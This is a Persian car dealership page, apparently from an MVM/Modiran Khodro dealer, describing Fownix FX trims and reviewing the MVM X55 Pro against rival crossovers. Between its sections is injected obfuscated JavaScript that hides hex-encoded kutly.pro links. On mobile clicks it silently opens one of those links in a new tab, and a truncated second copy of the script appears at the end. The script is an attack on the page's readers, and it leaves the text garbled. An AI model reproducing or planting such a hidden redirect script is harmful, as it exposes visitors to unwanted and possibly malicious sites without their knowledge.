  • چراغ های ال ای دی
  • کروز کنترل تطبیقی
  • سامانه رانندگی خودران سطح 2.5
  • سامانه رانندگی خودکار بین خطوط
  • رادار خطی و رادار نقطه کور
  • سنسور باران و سنسور نور
  • سامانه کنترل پایداری الکتریکی
  • 6 ایربگ هوای 10 نقطه ای
  • رینگ آلومینیومی 18 اینچی دو رنگ
  • ترمز اضطراری اتوماتیک
  • سامانه اخطار برخورد از جلو
  • فرمان پذیر صوتی تجهیزات الکتریکی خودرو
  • استارت دکمه ای
  • نورپردازی کابین
  • در صندوق عقب برقی
  • سانروف
  • سیستم صوتی سونی
  • شارژر وایرلس موبایل
  • اتوهلد
  • ترمز پارک برقی
  • دسته دنده الکتریکی
  • نمایشگر مالتی مدیا لمسی
  • دوربین 360 درجه
  • فرمان کمکی برقی
  • سردکن و گرم کن صندلی جلو
  • صندلی برقی راننده و شاگرد
  • سیستم پاکسازی هوای کابین و تهویه اتوماتیک دو کاناله

فونیکس اف ایکس با چند تیپ به بازار می آید؟

فونیکس اف ایکس با 4 تیپ به بازار آمد . تیپ اکسلنت نسخه پایه و تیپ پریمیوم نسخه بالاتر آن است . تیپ سوم آن شامل کراس اوور مونتاژی و چینی نمونه دو دیفرانسیل نسخه پریمیوم بوده و تیپ چهارم یک کراس اوور پلاگین هیبرید چهار چرخ محرک هستند .

قیمت و زمان عرضه خودرو فونیکس اف ایکس

فروش خودرو اف ایکس در نسخه اکسلنت از سوی مدیران خودرو در دی ماه و فروش نسخه پریمیوم فونیکس اف ایکس از بهمن ماه آغاز خواهد شد . مدیران خودرو اعلام کرده است که فروش دو نسخه دیگر این خودرو را از سال 1402 شروع خواهد کرد .

نمایندگی 777 مدیران خودرو

نمایندگی مدیران خودرو 777 فعالیت خود را با افتتاح اولین شعبه در سعادت آباد تهران در سال 1396 آغاز کرده و تاکنون توانسته شعبه هایی در سراسر کشور افتتاح کند . سالها سابقه درخشان و ارائه خدمات منحصربه فرد و در اولویت قرار دادن نیاز مشتری ، توانسته رتبه یک فروش محصولات مدیران خودرو را به خود اختصاص دهد . شما می توانید برای اطلاع از نحوه فروش و قیمت خودرو فونیکس اف ایکس اکسلنت یا پریمیوم با کارشناسان ما در  در ارتباط باشید .

برای دیدن شرایط فروش محصولات فونیکس کلیک کنید …

جمع بندی

در این مقاله به بررسی تفاوت بین دو نسخه خودرو فونیکس اف ایکس تحت عنوان اکسلنت و پریمیوم اشاره کردیم . شما می توانید سوالات و نظرات خود را در این باره در بخش نظرات با ما در میان بگذارید تا در اسرع وقت پاسخ دهیم . سپاس از اینکه همراهمان هستید.


function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x59\x7a\x45\x32\x63\x342','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x56\x67\x44\x33\x63\x303','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x54\x47\x41\x30\x63\x360','random','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x6d\x61\x4c\x37\x63\x317','stopPropagation','4051490VdJdXO','test','open','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x6f\x71\x71\x36\x63\x326','12075252qhSFyR','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x4f\x52\x52\x38\x63\x308','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x6e\x70\x4f\x35\x63\x305','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x47\x52\x47\x31\x63\x351',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x68\x77\x6b\x34\x63\x334',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x70\x73\x4b\x39\x63\x319','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());

ام وی ام X55

ام وی ام ایکس 55 پرو UPGRADED

 پس از آن که کراس اوور سایز کوچک X33 در طی سه نسل در بازار ایران با موفقیت‌های چشمگیر رو به رو شد ، مدیران خودرو در سال 1398 ، کراس اوور جدیدی با نام ام وی ام X55 پرو را به سبد محصولات خود اضافه کرد که به عنوان برادر بزرگ‌تر و لوکس‌تر X33 از خانواده کراس اوورهای مدیران خودرو شناخته می‌شود .

ام وی ام X55 پرو به عنوان مدلی به روز‌تر و جدیدتر از خانواده کراس اوورهای چری ، با ایفای نقش در جایگاهی بزرگ‌تر از X33 اما مجهز به سسیتم انتقال نیرو مشترک با خودروهایی چون تیگو 7 و آریزو 6 ، به نوعی فاصله میان خانواده کراس اوورهای اقتصادی و لوکس این شرکت با برند تجاری چری را کم کرد . همچنین از دیدگاه طراحی ، ام وی ام X55 به نوعی نشان دهنده تغییرات نوین در زبان طراحی چری بود که به آهستگی انجام می‌گرفت . این خودرو اخیرا با فیس لیفت کاملا جدید روانه بازار شده است که با نام X55 Pro شناخته می‌شود .

این خودرو در دو نسخه X55 PRO IE و X55 PRO IE S عرضه شده است .

در نسخه X55 PRO IE S آپشن های شارژر وایرلس و 6 عدد ایربگ اضافه شده است .

 

ام وی ام X55

مدیران خودرو X55 پرو در برابر رقبا

X55 با تجربه حضور پنج ساله در بازار کشور ، خودرو جدیدی به حساب نمی‌آید اما باید مد نظر داشته باشید که نسخه پرو ( Pro ) این خودرو به تازگی به بازار معرفی شده است و این مهم X55 پرو را یک سر و گردن از رقبای آن بالاتر می‌برد . در بازار حال حاضر کشور ، خودروهایی چون نیسان جوک ( اسکای پک و پلاتینیوم ) ، میتسوبیشی ASX ، رنو کپچر ، سانگ یانگ تیوولی ، دیار DX3 و حتی پژو 2008 می‌توانند رقبای X55 پرو باشند .

دو رقیب ژاپی وارداتی ، یعنی میتسوبیشی ASX و نیسان جوک و دیگر رقیب اروپایی مونتاژی ، یعنی رنو کپچر ، مدت زمانی طولانی است که به دلیل ممنوعیت واردات خودرو و تحریم‌ تولید ، از بازار کشور رخت بسته‌اند . پژو 2008 نیز به سختی در کلاس رقابت با X55 پرو قرار می‌گیرد اما با این وجود ، آن هم دستخوش سرنوشتی مشابه به رنو کپچر شد . در این میان کره‌ای خوشنامی چون سانگ یانگ تیوولی نیز در بازار حضور دارد که با توجه به جایگاه و اعتبار برند ، از دیدگاه قیمتی بالاتر از X55 پرو می‌ایستند و در عین حال نیز ویژگی‌های رفاهی کمتری به همراه دارد . DX3 دیار خودرو ( همان سوئیست DX5 ) نیز به عنوان یک رقیب هم‌وطن با پیشرانه‌ای مشابه ، اما در تیراژی بسیار محدود در این گردانه رقابت می‌گنجد .

 

ایکس 55 پرو

در نتیجه اگر کسی در بازار X55 پرو به دنبال یک خودرو صفر کیلومتر غیر چینی باشد ، چاره‌ بسیار گران‌ قیمتی جز تیوولی، جوک یا 208 درپی نخواهد داشت. سایر گزینه‌های غیر چینی را نمونه‌های دست دوم برند‌های ژاپنی و اروپایی تشکیل می‌دهند که نه تنها از دیدگاه آپشن‌های ارائه شده بسیار قدیمی و از مد افتاده‌ هستند ، بلکه مدت زمان قابل توجهی از تولید آن‌ها در بازار کشور می‌گذرد .

 

طراحی ام وی ام X55

X55 پرو بر پلتفرم T1X مشترک با تیگو 8 نسل اول و تیگو 7 نسل اول به تولید رسیده است اما ابعاد خارجی 4298×1830×1670 میلی‌متر ، در ترکیب با فاصله محورهای 2610 میلی‌متری ، از هر نظر از X33 بزرگ‌تر و از هر نظر از تیگو 7 کوچک‌تر است . در نتیجه جای تعجب ندارد که این خودرو به سادگی در فاصله خالی میانه خانواده کراس اوورهای MVM و چری جای بگیرد .

نمای خارجی شباهت زیادی به مدل‌های قدیمی مدیران خودرو ( MVM ) ندارد . در عوض با آگاهی از سبک طراحی نسخه‌های قدیمی‌تر کراس اوورهای چری ، می‌توان به سادگی شباهت را میان این خودرو با خانواده تیگو‌های قدیمی‌تر یافت . نمای جلو خودرو در سبک طراحی چراغ‌ها و ادغام آن با جلوپنجره کهکشانی ( که حالا در بیشتر محصولات نوین تولیدی این برند رایج شده است ) . پیش از ارائه فیس لیفت تحت نام پرو ، شباهت بسیار زیادی به تیگو 8 نسل اول داشت . چراغ‌های روشنایی در روز در دو گوشه سپر در نسخه پرو به درون دو شکاف با طراحی جدید مثلثی نقل مکان کرده‌اند که از نظر سبک طراحی ، به مراتب به روز‌تر و نوین‌تر جلوه می‌کند .

 

ایکس 55 پرو 3

نمای جانبی

در نمای جانبی هنوز همان تریم پلاستیکی مشکی رنگ را به همراه دارد که ظاهر X55 را تا حد زیادی از عالم خودروهایی چون نیسان جوک ، پژو 2008 و رنو کپچر جدا می‌کند و جلوه شاسی بلند مانندی به آن می‌بخشد . نمای عقب خودرو اگرچه تغییر چندان زیادی به خود ندیده است . اما تریم کرومی متصل کننده دو چراغ عقب به یکدیگر ، حالا در نسخه پرو از دل چراغ‌ها خارج شده و تنها نقش پل متصل کننده را ایفا می‌کند .

برای آن دسته از افرادی که چندان با چهره X55 آشنا نبوده‌اند ، تشخیص این تمایز جزئی می‌تواند اندکی دشوار باشد . داستان تفاوت‌های میان نسخه پرو X55 با نمونه نسل پشین به همینجا ختم نمی‌شود . این خودرو از چراغ‌های جلو LED بهره می‌گیرد و همچنین در نمای خارجی به تریم تزئیناتی به رنگ قرمز مجهز شده است که در زیر سپر جلو ، تریم مشکی ‌رنگ رکاب‌ها و حتی ریم‌های جدید اسپرت آن به چشم می‌خورد .

 

ایکس 55 پرو 4

این تغییرات برای بسیاری از افراد مینیمال و دارای اهمیت کم به شمار می‌آید . اما باید در نظر داشت در حال حاضر تنها شرکت خودروسازی که به صورت پیوسته و منظم، اقدام به نوسازی سبد محصولات و ارائه فیس لیفت‌های متعدد بر محصولات تولیدی خود می‌کند، فقط شرکت مدیران خودرو است. به همین دلیل اگر فاکتور سلیقه و انتخاب زیباترین گزینه را کنار بگذاریم . در جایگاه رقابت ظاهری با رقبایی چون 2008، جوک یا کپچر، X55 می‌تواند نوین و به روز بودن خود را به سادگی به رخ بکشد .

نمای داخلی

نمای داخلی X55 پرو نیز حرف‌های بسیار برای گفتن دارد . این خودرو در نسل پیشین از تریم تک رنگ نمای داخلی با طراحی نسبتا ساده بهره می‌گرفت که هیجان چندانی به همراه نداشت . اما حالا تریم داخلی به نمونه دو رنگ قرمز / مشکی ، مشترک با تیگو 7 پرو ( تیگو 7 جدید ) بهره می‌برد که ورق را با قدرت زیادی برگردانده است . نمای داخلی نسبتا مدرن اما بی‌روح نسل پیشین ، حالا جای خود را به یک طراحی جدید دو رنگ و مینیمال داده است که تا حدود زیادی طراحی برخی محصولات روز اروپایی را تدائی می‌کند . در این خودرو غربیلک فرمان و سیستم نشانگرهای دیجیتال پشت آن متعلق به نسل پیشین است اما سایر بخش‌ها به طور کلی تغییر کرده‌اند .

ایکس 55 پرو 8

سایر المان های داخلی

داشبورد ساختاری افقی و متقارن دارد که ضمن بهره بردن از تریم تزئیناتی چرمی قرمز ‌رنگ ، در وسط به کنسول میانی شیب‌دار مزین به تریم مشکی پیانویی متصل شده است . نمایشگر لمسی سیستم مولتی مدیا در ساختار کشیده و عمودی به ابعاد 10.25 اینچ افزایش یافته است و پنل کنترلی سیستم تهویه مطبوع نیز در اقدامی مشابه به آریزو 5 جدید، آریزو 6، تیگو 7 پرو و تیگو 8 پرو ، به نمونه لمسی تغییر یافته است .

این مهم باعث شده است از تعدد و حجم کلید‌های کنترلی به شکل محسوسی کاهش یافته و نمای داشبرد جلوه‌ای بسیار مدرن و لوکس پیدا کند . طراحی رودری‌ها و صندلی‌ها نیز با تمایز نسبت به نسل پیشین ، ضمن همراه داشتن تغییرات جزئی ، به تریم قرمز رنگ مشابه داشبورد مزین شده است تا فضای داخلی را به طور کلی با جلوه بصری کاملا جدید احیا کند . با توجه به جزئیات بیان شده ، سایر رقبای کره‌ای، ژاپنی و اروپایی X55 پرو به دلیل قدیمی‌ بودن ، از دیدگاه طراحی نمای داخلی و سطح آپشن‌های ارائه شده، توان زیادی در رقابت با این خودرو به روز شده ندارند ، ضمن آن که قیمت نهایی نمونه دست دوم آن‌ها نیز به مراتب بالاتر است .

ایکس 55 پرو 5

سایر مزیت ها

یکی دیگر از مزیت‌های X55 پرو استفاده از ویژگی‌های مدرن و آپشن‌های روز است . ویژگی‌هایی نظیر سیستم کنترل پایداری ، سیستم روشنایی LED مجهز به سیستم بدرقه ، سیستم مسیریابی جهانی و دوربین 360 درجه چشم عقاب (AVM) ، ترمز پارک برقی و اتوهولد ، کروز کنترل ، فرمان برقی حساس به سرعت ، تنظیم برقی صندلی راننده به همراه تنظیم برقی گودی کمر ، گرم‌کن صندلی‌های جلو ، اهرم تعویض دنده برقی ، شش کیسه ایمنی هوا ، سیستم ورود و استارت بدون کلید ، آینه‌های برقی تاشو به همراه گرم‌کن ، نمایش صفحه تلفن همراه هوشمند ، نمایشگر سیستم مولتی مدیا ، رادار عقب ، سانروف برقی ، شارژر بی‌سیم ، سیستم تهویه مطبوع اتوماتیک با خروجی مجزا برای سرنشینان عقب و نورپردازی انتزاعی نمای داخلی ، گوشه‌ای از امکانات رفاهی ارائه شده در X55 پرو است .

ایکس 55 پرو 6

تقابل مجموعه فنی

یکی از مهم‌ترین مزایای X55 پرو استفاده از پیشرانه ارتقا یافته 1.5 لیتری توربو است که البته دستخوش بهبودهای فنی قرار گرفته است . از این رو این پیشرانه توان تولید 156 اسب بخار قدرت و 230 نیوتون . متر گشتاور را دارد . که نزدیک به 9 اسب بخار افزایش قدرت و 20 نیوتون متر افزایش گشتاور در مقایسه با پیشرانه قدیمی‌تر را به نمایش می‌گذارد نسخه پرو X55 حالا از گیربکس ضریب متغیر ( CVT ) ارتقا یافته جدید با 9 ضریب از پیش تعیین شده نیز بهره می‌گیرد . از این رو سیستم انتقال نیرو X55 پرو با نمونه جدید آریزو 5 توربو ( IE ) و آریزو 6 مشترک است . این ویژگی‌های فنی برتر ، X55 پرو را از خانواده کراس اوورهای اقتصادی‌تر MVM یک سر و گرن بالاتر برده و به مرز کراس اوورهای لوکس‌تر و قوی‌ترخانواده تیگو نزدیک‌تر می‌کند .

ایکس 55 پرو 7

رقبای اسم و رسم‌دار

رقبای اسم و رسم‌دار ژاپنی ، کره‌ای و اروپایی X55 پرو نظیر میتسوبیشی ASX ، نیسان جوک ( پلاتینیوم و اسکای پک ) ، سانگ یانگ تیوولی و رنو کپچر به دلیل تکیه بر پیشرانه‌های کم حجم توربو یا حجیم‌تر تنفس طبیعی ، حتی در برابر پیشرانه نسل پیشین X55 نیز ناتوان هستند . چه برسد به این که حالا پیشرانه و گیربکس در X55 پرو با ارتقا فنی نیز مواجه شده است . در این میان تنها پژو 2008 با داشتن پیشرانه نسبتا مدرن 1.6 لیتری توربو و گیربکس 6 سرعت اتوماتیک مدرن می‌تواند یک سر و گردن از X55 پرو بالاتر باشد که آن هم به دشواری در سگمنت کراس اوورهای جای می‌گیرد . از دیدگاه رقم فروش نمونه دست دوم ، قیمت قابل توجهی به همراه دارد .

دیار خودرو DX3 به دلیل داشتن ریشه چینی ، از پیشرانه 1.5 لیتری توربو و گیربکس اتوماتیک ضریب متغیر (CVT) با 8 ضریب از پیش تعیین شده به همراه بازه قدرت و گشتار و البته برخی آپشن‌های رفاهی روز ، به ویژگی‌های X55 پرو بسیار نزدیک‌ است .

 

ایکس 55 پرو 9

رقابت با دست دومی‌ها

نیسان جوک اسپرت به دلیل استفاده از پیشرانه توربو بسیار قدرتمند و سیستم انتقال نیرو دو دیفرانسیل و البته قیمت بسیار بالا در بازار دست دوم ، در رقابت با X55 پرو قرار نمی‌گیرد . در عوض دو تریم ساده‌تر تنفس طبیعی اسکای پک و پلاتینیوم از دیدگاه رقابتی با X55 پرو نزدیکی بیشتری دارد اما در مقابل از دیدگاه توان فنی و آپشن‌های رفاهی ، به دلیل داشتن ذات اقتصادی ژاپنی، حرف چندانی برای گفتن ندارد .

داستان برای میتسوبیشی ASX بسیار به جوک شبیه است . مخصوصا آن که شرکت جهان نوین آریا برای این مدل در بازار ایران ، حتی نسخه‌ای مانند جوک اسپرت را نیز در نظر نگرفته بود . با این اوصاف پیشرانه 2.0 لیتری تنفس طبیعی این خودرو با داشتن حجم بیشتر ، توان و گشتاور قابل قبول‌تری نیز به تولید می‌رساند اما کافی نیست . رنو کپچر ایران خودرو نیز به ذات یک کراس اوور جمع و جور شهری با پیشرانه‌ 1.2 لیتری توربو بسیار ضعیف و کم مصرف است که همانند پیشرانه 1.6 تنفس طبیعی نیسان جوک و سانگ یانگ تیوولی رامک خودرو ، با قدرتی کمتر از 130 اسب بخار ، از دیدگاه توان و گشتاور خروجی یارای رقابت با X55 پرو را ندارد .

ام وی ام X55

رقابت در قیمت

پژو 2008 را به سختی می‌توان در بازه خودروهای سگمنت کراس اوور تجسم کرد . اما اگر این خودرو را نیز یکی از رقبای مستقیم ام وی ام X55 پرو بدانیم ، باید بگوییم که توان و گشتاور خروجی خود را مدیون پیشرانه 1.6 لیتری توربو پیشرفته‌ای است که هم رده با جوک اسپرت در یک سطح ( البته کمی پایین‌تر ) قرار می‌گیرد و درست همانند آن ، قیمت فروش نسخه دست دوم آن در بازار کشور رقمی فراتر از مرز یک میلیارد تومان است . هیچ یک از این دو گزینه به صورت رسمی در نسخه صفر کیلومتر در بازار عرضه نشده و نمونه‌های صفر آن‌ها در بازار آزاد ، ضمن داشتن قیمت قابل توجه ، از دیدگاه مدل تولید یا واردات بسیار قدیمی هستند .

در نتیجه پژو 2008 و تریم اسپرت نیسان جوک از دیدگاه توان و ویژگی‌های فنی ، بدون تردید از ام وی ام X55 پرو برتر و بهتر هستند . اما فراموش نکنیم که نیسان جوک اسپرت با داشتن پیشرانه قوی‌تر و اعتبار وارداتی بودن از دیدگاه قیمت فروش دست دوم چیزی در حدود 200 تا 400 میلیون تومان گران‌تر است که اختلاف قیمتی بسیار فاحش و غیر قابل چشم‌پوشی را به نمایش می‌گذارد .

نزدیک‌ترین گزینه هم‌وطن ، یعنی DX3 شرکت دیار خودرو شاید از دیدگاه قیمت ، توان فنی و ویژگی‌های رفاهی شباهت بسیار زیادی به X55 پرو داشته باشد اما در عین حال تیراژ مونتاژ آن بسیار کم و عرضه آن در بازار بسیار محدودتر از آن چیزی بود که در قالب رقابت با X55 پرو بگنجد .

 

x55 pro

سخن نهایی

ام وی ام X55 پرو همانند بیشتر محصولات تولیدی شرکت مدیران خودرو ، بخشی از بازار را نشانه رفته است که یا رقیب صفر کیلومتر در آن حضور ندارد و یا در صورت حضور داشتن ، از نسخه‌های وارداتی دست دوم و گران قیمت هستند . به همین دلیل X55 پرو در سگمنت کراس اوورهای کوچک و اقتصادی صفر کیلومتر بازار به عنوان یک گزینه ممنطقی و معقول ایفای نقش می‌کند . به دلیل بهره‌مندی از ویژگی‌های رفاهی و ایمنی مناسب و خصوصیات خدماتی نظیر گارانتی پنج ساله یا 100 هزار کیلومتری و سرویس‌های دوره‌ای رایگان ، مالک را برای مدتی طولانی از بابت بروز مشکل و خرابی آسوده خاطر می‌کند .

function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 